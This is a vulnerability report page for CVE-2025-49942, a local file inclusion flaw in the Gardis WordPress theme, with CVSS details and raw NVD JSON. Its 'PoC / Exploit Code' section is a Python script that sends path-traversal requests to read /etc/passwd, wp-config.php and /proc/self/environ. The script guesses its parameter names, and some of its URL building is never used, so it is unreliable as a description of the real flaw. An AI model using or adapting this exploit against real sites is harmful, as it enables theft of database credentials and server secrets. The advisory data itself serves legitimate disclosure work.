Security Vulnerability Report
中文
CVE-2025-49942 CVSS 8.1 HIGH

CVE-2025-49942

Published: 2025-12-18 08:15:52
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Gardis gardis allows PHP Local File Inclusion.This issue affects Gardis: from n/a through <= 1.2.13.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Gardis <= 1.2.13
Gardis from n/a through <= 1.2.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-49942 PoC - Gardis Theme LFI # Target: WordPress site with Gardis theme <= 1.2.13 import requests target = "http://target-site.com/" # Common vulnerable parameters in WordPress themes vulnerable_params = [ "?theme=gardis", "?template=gardis", "?file=gardis", "?page=gardis", "?view=gardis" ] # Files to read files_to_read = [ "../../../../../../../../etc/passwd", "../../../../../../../../wp-config.php", "../../../../../../../../../../../var/www/html/wp-config.php", "../../../../../../../../proc/self/environ" ] def test_lfi(target, param, file): url = target + param + "&" + file.split("/")[-1] + "=" + file # Alternative: appending to the parameter value url2 = target + param + "&inc=" + file headers = { "User-Agent": "Mozilla/5.0" } try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: if "root:" in response.text or "<?php" in response.text: print(f"[+] VULNERABLE: {url}") print(f"[+] Content:\n{response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False # Example exploitation # Read wp-config.php # GET /wp-content/themes/gardis/some-file.php?inc=../../../../../../wp-config.php print("CVE-2025-49942 Gardis Theme LFI PoC") print("Use with caution and only on authorized systems")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49942", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:52.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Gardis gardis allows PHP Local File Inclusion.This issue affects Gardis: from n/a through <= 1.2.13."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/gardis/vulnerability/wordpress-gardis-theme-1-2-13-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}